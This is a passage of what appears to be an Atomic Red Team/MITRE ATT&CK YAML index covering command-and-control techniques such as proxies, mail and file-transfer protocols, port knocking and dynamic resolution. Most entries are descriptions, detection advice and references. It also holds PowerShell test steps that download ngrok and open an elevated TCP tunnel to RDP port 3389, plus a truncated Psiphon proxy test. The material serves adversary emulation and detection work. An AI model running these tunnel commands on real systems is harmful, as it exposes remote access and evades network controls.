command: | Set-Location "PathToAtomicsFolder" .\T1572\src\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} name: powershell - name: run ngrok auto_generated_guid: 4cdc9fc7-53fb-4894-9f0c-64836943ea60 description: 'Download and run ngrok. Create tunnel to chosen port. ' supported_platforms: - windows input_arguments: api_token: description: ngrok API type: string default: N/A port_num: description: port number for tunnel type: integer default: 3389 download: description: link to download ngrok type: string default: https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows-amd64.zip dependency_executor_name: powershell dependencies: - description: 'Download ngrok ' prereq_command: 'if (Test-Path C:\Users\Public\ngrok) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Path C:\Users\Public\ngrok -ItemType Directory | Out-Null Invoke-WebRequest #{download} -OutFile C:\Users\Public\ngrok\ngrok-v3-stable-windows-amd64.zip Expand-Archive C:\Users\Public\ngrok\ngrok-v3-stable-windows-amd64.zip -DestinationPath C:\Users\Public\ngrok executor: command: "C:\\Users\\Public\\ngrok\\ngrok.exe config add-authtoken #{api_token} | Out-Null\nStart-Job -ScriptBlock { C:\\Users\\Public\\ngrok\\ngrok.exe tcp #{port_num} } | Out-Null\nStart-Sleep -s 5 \nStop-Job -Name Job1 | Out-Null\n" cleanup_command: | Remove-Item C:\Users\Public\ngrok -Recurse -ErrorAction Ignore Remove-Item C:\%userprofile%\AppData\Local\ngrok -ErrorAction Ignore name: powershell elevation_required: true T1071.003: technique: modified: '2024-04-16T12:28:59.928Z' name: Mail Protocols description: "Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: FireEye APT28) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_deprecated: false x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.1' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' type: attack-pattern id: attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b created: '2020-03-15T16:21:45.131Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1071/003 external_id: T1071.003 - source_name: FireEye APT28 description: 'FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.' url: https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1092: technique: modified: '2024-01-31T03:17:42.004Z' name: Communication Through Removable Media description: 'Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system.(Citation: ESET Sednit USBStealer 2014) Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_deprecated: false x_mitre_detection: Monitor file access on removable media. Detect processes that execute when removable media is mounted. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Drive: Drive Creation' - 'Drive: Drive Access' type: attack-pattern id: attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef created: '2017-05-31T21:31:09.379Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1092 external_id: T1092 - source_name: ESET Sednit USBStealer 2014 description: Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017. url: http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1090.002: technique: modified: '2024-04-16T12:19:08.953Z' name: External Proxy description: |- Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion. External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_deprecated: false x_mitre_detection: 'Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.1' x_mitre_data_sources: - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' type: attack-pattern id: attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3 created: '2020-03-14T23:12:18.466Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1090/002 external_id: T1090.002 - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: Trend Micro APT Attack Tools description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.' url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1090: technique: x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_domains: - enterprise-attack x_mitre_contributors: - Jon Sheedy - Heather Linn - Walker Johnson object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea type: attack-pattern created: '2017-05-31T21:31:08.479Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1090 url: https://attack.mitre.org/techniques/T1090 - url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/ description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.' source_name: Trend Micro APT Attack Tools - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 modified: '2022-04-25T14:00:00.188Z' name: Proxy description: |- Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: |- Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Consider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)). x_mitre_version: '3.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Connection Creation' x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1568: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Chris Roffe object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b type: attack-pattern created: '2020-03-10T17:28:11.747Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1568 url: https://attack.mitre.org/techniques/T1568 - url: http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html description: 'Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.' source_name: Talos CCleanup 2017 - url: https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html description: Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017. source_name: FireEye POSHSPY April 2017 - source_name: ESET Sednit 2017 Activity url: https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/ description: 'ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.' - source_name: Data Driven Security DGA url: https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/ description: 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.' modified: '2022-05-11T14:00:00.188Z' name: Dynamic Resolution description: |- Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control. Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: 'Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.' x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' x_mitre_permissions_required: - User x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1102: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Anastasios Pingios object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--830c9528-df21-472c-8c14-a036bf17d665 type: attack-pattern created: '2017-05-31T21:31:13.915Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1102 url: https://attack.mitre.org/techniques/T1102 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 modified: '2021-04-29T14:49:39.188Z' name: Web Service description: |- Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: 'Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)' x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Connection Creation' x_mitre_permissions_required: - User x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1568.003: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1 type: attack-pattern created: '2020-03-11T14:56:34.154Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1568.003 url: https://attack.mitre.org/techniques/T1568/003 - url: http://www.crowdstrike.com/blog/whois-numbered-panda/ description: Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016. source_name: Meyers Numbered Panda - url: https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html description: Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group [Blog]. Retrieved November 12, 2014. source_name: Moran 2014 - source_name: Rapid7G20Espionage description: Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017. url: https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/ modified: '2021-04-29T14:49:39.188Z' name: DNS Calculation description: |- Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda) One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: Detection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1104: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91 type: attack-pattern created: '2017-05-31T21:31:15.935Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1104 external_id: T1104 modified: '2021-04-29T14:49:39.188Z' name: Multi-Stage Channels description: |- Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult. Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features. The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data. x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Connection Creation' x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1205.001: technique: x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd type: attack-pattern created: '2020-07-01T18:23:25.002Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1205.001 url: https://attack.mitre.org/techniques/T1205/001 - url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631 description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.' source_name: Hartrell cd00r 2002 modified: '2022-05-11T14:00:00.188Z' name: Port Knocking description: |- Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system. The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Flow' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1071.002: technique: modified: '2024-01-18T17:23:22.591Z' name: File Transfer Protocols description: "Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMB(Citation: US-CERT TA18-074A), FTP(Citation: ESET Machete July 2019), FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_deprecated: false x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.2' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' type: attack-pattern id: attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b created: '2020-03-15T16:16:25.763Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1071/002 external_id: T1071.002 - source_name: ESET Machete July 2019 description: ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019. url: https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: US-CERT TA18-074A description: 'US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.' url: https://www.us-cert.gov/ncas/alerts/TA18-074A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1102.003: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8 type: attack-pattern created: '2020-03-14T22:45:52.963Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1102.003 url: https://attack.mitre.org/techniques/T1102/003 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 modified: '2021-04-29T14:49:39.188Z' name: One-Way Communication description: |- Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: 'Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1090.003: technique: modified: '2024-04-19T13:24:36.872Z' name: 'Proxy: Multi-hop Proxy' description: |- Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. For example, adversaries may construct or use onion routing networks – such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing) In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_contributors: - Eduardo Chavarro Ovalle x_mitre_deprecated: false x_mitre_detection: |- When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique. In context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers. Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted. Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '2.1' x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Connection Creation' type: attack-pattern id: attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d created: '2020-03-14T23:23:41.770Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1090/003 external_id: T1090.003 - source_name: NGLite Trojan description: Robert Falcone, Jeff White, and Peter Renals. (2021, November 7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. Retrieved February 8, 2024. url: https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/ - source_name: Onion Routing description: Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020. url: https://en.wikipedia.org/wiki/Onion_routing object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1090.003 atomic_tests: - name: Psiphon auto_generated_guid: 14d55ca0-920e-4b44-8425-37eedd72b173 description: | Psiphon 3 is a circumvention tool from Psiphon Inc. that utilizes VPN, SSH and HTTP Proxy technology to provide you with uncensored access to Internet. This process will launch Psiphon 3 and establish a connection. Shortly after it will be shut down via process kill commands. More information can be found about Psiphon using the following urls http://s3.amazonaws.com/0ubz-2q11-gi9y/en.html https://psiphon.ca/faq.html supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'The proxy settings backup file must exist on disk at $env:Temp\proxy-backup.txt ' prereq_command: 'if (Test-Path $env:Temp\proxy-backup.txt) {exit 0} else {exit 1} ' get_prereq_command: | if(-not (test-path $env:Temp\proxy-backup.txt)){ $Proxy = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings' -Name 